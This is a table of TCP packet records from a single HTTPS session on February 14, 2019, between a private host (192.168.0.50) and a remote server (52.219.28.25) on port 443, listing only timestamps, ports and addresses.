Feb 14, 2019 12:59:39.323012114 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.323529959 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.323812008 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.323813915 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.324189901 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.324203014 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.324363947 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.324366093 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.324367046 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.324368000 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.324369907 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.324371099 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.324373007 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.324373960 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.324374914 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.324377060 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.325293064 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.325301886 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.325306892 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.325311899 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.325316906 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.325321913 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.325469971 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.325472116 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.325758934 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.325849056 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.326618910 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.326621056 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.326622009 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.326622963 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.327482939 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.327493906 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.327500105 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.327505112 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.327510118 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.327514887 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.328022003 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.329122066 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.329133987 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.329180956 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.479240894 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.479274988 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.479372025 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.479504108 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.480367899 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.480514050 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.480573893 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.480710983 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.480811119 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.480833054 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.480963945 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.481040955 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.481153965 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.481229067 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.481239080 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.481276989 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.481419086 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.481465101 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.481623888 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.481772900 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.482553959 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.482558012 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.482559919 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.482561111 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.482563019 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.483144045 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.483146906 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.483149052 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.483150959 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.483151913 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.483154058 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.483378887 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.483392000 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.483422995 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.483428955 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.483654022 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.483656883 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.483989954 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.484002113 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.484035969 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.484041929 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.484046936 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.484169960 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.484174013 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.484261990 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.484265089 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.484267950 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.484803915 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.484862089 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.484864950 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.484865904 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.484868050 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.484869957 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.484872103 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.485137939 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.485148907 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.485155106 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.485160112 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.485399008 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.485402107 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.485707045 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.485717058 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.485722065 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.485727072 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.485732079 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.485737085 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.485742092 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.485888958 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.485891104 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.485893011 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.485899925 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.485965014 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.486556053 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.486557961 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.486558914 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.486561060 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.486562014 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.486563921 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.486845016 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.486857891 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.486864090 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.486869097 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.487142086 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.487143993 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.487145901 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.487147093 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.487148046 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.487149954 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.487356901 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.487365961 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.487426043 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.487432957 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.488010883 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.488023996 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.488029003 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.488235950 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.488238096 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.488529921 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.488610029 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.488862038 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.488863945 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.488864899 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.488867044 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.488867998 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.488868952 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.488871098 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.488873005 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.488969088 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.489069939 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.489754915 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.489768028 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.489773989 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.489778996 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.489784002 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.489808083 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.490240097 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.490794897 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.491919041 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.491930008 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.491935968 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.491940975 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.491945982 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.491950989 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.492109060 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.639847040 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.639870882 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.640150070 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.640209913 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.641974926 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.642239094 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.642468929 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.642477036 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.642534018 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.642555952 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.642761946 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.642788887 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.642911911 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.643028975 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.643192053 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.643248081 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.643361092 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.643549919 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.643662930 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.643706083 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.643822908 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.643940926 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.644262075 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.644265890 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.644332886 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.644391060 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.644510031 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.644618034 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.644900084 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.644902945 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.644994974 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.645106077 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.645241976 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.645258904 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.645265102 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.645270109 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.645275116 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.645279884 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.645284891 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.645291090 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.645351887 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.645462990 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.645466089 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.645597935 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.645746946 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.645754099 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.646332979 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.646570921 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.646574974 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.646576881 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.646578074 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.646579981 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.646580935 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.647031069 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.647171974 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.647175074 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.647176981 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.647177935 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.647178888 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.647181034 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.647382021 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.647393942 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.647399902 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.647404909 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.647409916 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.647423983 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.647701025 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.648017883 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.648030043 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.648036003 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.648041010 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.648047924 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.648057938 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.648294926 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.648297071 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.648298025 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.648299932 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.648300886 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.648303032 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.648595095 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.648806095 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.649142981 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.649149895 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.649154902 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.649159908 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.649164915 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.649291992 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.649406910 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.649409056 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.649410963 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.649411917 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.649414062 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.649940968 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.650273085 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.650285959 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.650290966 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.650324106 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.650532007 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.650533915 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.650535107 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.650537014 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.650537968 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.650540113 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.651087999 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.651089907 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.651092052 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.651227951 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.651396990 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.651406050 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.651412010 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.651417017 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.651422024 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.651443005 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.651648998 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.651650906 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.651652098 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.651654005 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.651655912 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.652189970 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.652192116 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.652193069 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.652564049 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.652576923 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.652582884 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.653084993 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.653094053 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.653099060 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.653104067 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.653109074 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.653275013 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.654186010 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.654195070 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.654201031 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.654251099 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.654258013 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.654762983 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.801022053 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.801064968 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.801183939 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.801311970 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.801364899 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.802771091 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.802792072 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.803194046 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.803203106 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.804224968 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.804333925 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.804450989 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.804512024 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.804632902 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.804754019 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.804907084 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.805016994 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.805140018 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.805197954 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.805313110 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.805438995 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.805639982 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.805665970 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.806144953 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.806149006 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.806241035 MEZ	443	49289	52.219.28.25	192.168.0.50
